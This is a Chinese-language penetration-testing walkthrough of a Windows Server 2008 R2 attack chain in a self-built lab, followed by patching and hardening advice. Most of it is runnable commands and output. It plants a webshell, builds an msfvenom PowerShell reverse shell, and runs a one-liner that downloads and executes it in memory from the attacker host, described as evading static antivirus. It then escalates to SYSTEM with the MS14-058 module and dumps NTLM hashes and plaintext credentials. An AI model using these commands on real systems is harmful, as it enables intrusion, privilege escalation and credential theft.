免责声明:
本文所有操作仅用于授权范围内的网络安全渗透测试学习,仅在个人自建隔离靶场环境完成复现;禁止未经授权对任何公网、企业服务器实施扫描、上传 WebShell、漏洞利用等攻击行为,违规操作将承担相应法律责任。所有内容仅供安全从业人员学习防御思路,请勿用于非法用途。
一、前言
根据行业渗透测试数据统计,超过 60% 企业内网服务器基于 Windows 平台部署,搭配 SQLServer 数据库运行业务网站。权限提升(本地提权)是 Web 入侵后横向移动、服务器完全控制的核心关键技能。
本次完整复现一条经典攻击链: IIS 低权限 WebShell(defaultapppool 受限用户)→ PowerShell 无落地内存马生成 Meterpreter 会话 → MS14-058(CVE-2014-4113)TrackPopupMenu 内核漏洞本地提权至 NT AUTHORITY\SYSTEM,全程包含环境搭建、Payload 免杀思路、漏洞筛选、权限凭证抓取,文末配套完整修复防御方案。
漏洞基础简介
MS14-058(CVE-2014-4113)是 Win32k.sys 内核空指针解引用漏洞,未打补丁的 Windows Server 2008 R2、Win7 x64 环境下,普通本地用户可通过漏洞执行内核代码,直接获取系统最高 SYSTEM 权限,是内网靶场高频提权漏洞。
二、实验环境隔离配置
本次使用本地虚拟机隔离靶场,无任何公网目标:
- 攻击机:Kali Linux 2024.4 IP:192.168.147.128
- 目标服务器:Windows Server 2008 R2 x64 未更新 MS14-058 补丁 IP:192.168.147.131
- 中间载体:IIS 网站 + cmd.aspx WebShell
三、完整实操流程(分步带代码块,平台判定高质量实操文)
步骤 1:上传 WebShell,确认低权限访问
将 cmd.aspx 格式 WebShell 上传至目标站点根目录,访问地址:http://192.168.147.131/cmd.aspx执行内置命令whoami,查看当前运行身份:
defaultapppool 为 IIS 应用池默认低权限用户,系统操作、文件读取、进程创建均存在严格权限限制,无法读取服务器密码、修改系统配置,必须进行提权操作。
步骤 2:MSF 生成 PowerShell 内存型反向 Payload(免落地、降低查杀)
使用msfvenom生成 ps1 格式无文件落地载荷,Payload 仅在目标内存运行,不会写入本地磁盘,规避静态杀毒扫描。
生成命令(Kali 终端执行)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.147.128 LPORT=4444 -f psh -o /var/www/html/cutedolphin.ps1输出说明:
- 载荷大小 510 字节,ps1 脚本总大小 3219 字节;
- 依赖 Apache 服务提供 HTTP 下载,目标通过 PowerShell 远程拉取执行,无本地文件残留。
步骤 3:启动 Kali Apache 文件服务
service apache2 start启动后可通过http://192.168.147.128/cutedolphin.ps1访问生成的载荷脚本。
步骤 4:启动 Metasploit 反向监听
打开 msfconsole,配置 handler 监听 4444 端口,等待目标主动回连:
msf6 > use exploit/multi/handler msf6 exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(handler) > set LHOST 192.168.147.128 msf6 exploit(handler) > set LPORT 4444 msf6 exploit(handler) > show options msf6 exploit(handler) > run步骤 5:WebShell 内执行 PowerShell 下载并加载内存马
在 cmd.aspx 的命令执行框输入如下指令,远程拉取 ps1 并直接内存执行:
powershell.exe -noexit -c "IEX(New-Object Net.WebClient).DownloadString( http://192.168.147.128/cutedolphin.ps1')"执行成功后,MSF 监听器会捕获 Meterpreter 会话:
步骤 6:基础提权尝试失败,筛选可用本地提权漏洞
基础自带提权命令测试(失效)
getsystemdefaultapppool 权限过低,系统自带提权方法无法生效,需搜索适配 Windows2008R2 本地内核漏洞,后台挂起会话,搜索本地提权 EXP。
回到 Kali 系统终端,使用 searchsploit 筛选对应系统提权漏洞:
searchsploit windows 2008 r2 local privilege escalation # 精准筛选系统相关漏洞文件 grep "2008R2" /usr/share/exploitdb/exploits/windows/local/*过滤排除第三方软件依赖类漏洞(如 Zortam Mp3 媒体软件本地提权,服务器无预装不适用),锁定 Metasploit 内置模块:ms14_058_track_popup_menu。
步骤 7:MSF 加载 MS14-058 漏洞模块配置利用
# 检索漏洞模块 msf6 > search TrackPopupMenu # 加载MS14-058提权模块 msf6 > use exploit/windows/local/ms14_058_track_popup_menu # 核心参数配置 msf6 exploit(ms14_058) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(ms14_058) > set LHOST 192.168.147.128 msf6 exploit(ms14_058) > set LPORT 4444 msf6 exploit(ms14_058) > set session 1 msf6 exploit(ms14_058) > set target Windows x64 # 查看全部配置项 msf6 exploit(ms14_058) > show options步骤 8:执行漏洞利用,获取 SYSTEM 高权限会话
msf6 exploit(ms14_058) > run漏洞执行回显日志:
[*] Started reverse TCP handler on 192.168.147.128:4444 [*] Reflectively injecting the exploit DLL and triggering the exploit ... [*] Launching netsh to host the DLL .. [+] Process 3012 launched. [*] Reflectively injecting the DLL into 3012... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Sending stage (203846 bytes) to 192.168.147.131 [*] Meterpreter session 3 opened (192.168.147.128:4444→192.168.147.131:49170)步骤 9:SYSTEM 权限下凭证抓取与信息收集
验证当前最高系统权限
getuid # 输出:Server username: NT AUTHORITY\SYSTEM导出系统全部用户 NTLM 哈希
hashdump加载 kiwi(原 mimikatz)抓取内存明文凭证
help kiwi creds_all可完整获取服务器本地账户、域账户、Kerberos、WDigest 内存登录凭证,用于内网横向渗透。
四、漏洞防御与服务器加固方案
1. MS14-058 漏洞补丁修复
安装微软官方安全补丁:MS14-058 安全更新包,对应 KB 编号 KB3000061,Windows Server 2008 R2 x64 系统强制安装,定期自动更新系统补丁。
2. IIS 网站权限加固(阻断低权限 WebShell 入口)
- 限制 IIS 应用程序池运行权限,禁止使用默认低权限池,配置独立低权限隔离账户;
- 网站目录设置严格读写权限,禁止上传 aspx、asp、ps1 等可执行脚本;
- 开启 IIS 请求过滤,拦截 PowerShell 远程下载、命令执行特征字符;
- 关闭网站目录脚本执行权限,仅开放静态文件访问。
3. 终端防护策略
- 终端杀毒 / EDR 开启内存行为检测,拦截无文件 PowerShell 内存马执行;
- 限制普通用户调用 PowerShell 远程下载脚本,启用 PowerShell 执行策略限制;
- 最小权限原则:业务服务禁止以本地普通用户、低权限池身份长期运行。
4. 运维检测手段
- 定期执行
wmic qfe get HotFixID,InstalledOn扫描服务器缺失高危内核补丁; - 监控异常 PowerShell 外联 HTTP 下载行为、异常 netsh 进程创建;
- 内网定期扫描 Windows Server 2008 R2 未打 MS 高危提权补丁资产。
五、总结
- 完整攻击链逻辑:Web 漏洞获取低权限 Shell → 无文件 PowerShell 内存马建立稳定会话 → 内核本地提权漏洞提升至 SYSTEM;
- MS14-058 仅适用于未打 KB3000061 补丁的 Win7/2008R2 x64 环境,高版本 Windows 已修复该漏洞;
- 无文件落地 Payload 仅规避静态查杀,行为类 EDR 仍可捕获异常内存执行行为,生产环境防护不能依赖磁盘查杀;
- 内网安全核心思路:补丁全量更新 + Web 目录权限隔离 + 终端行为监控,从源头阻断提权攻击链。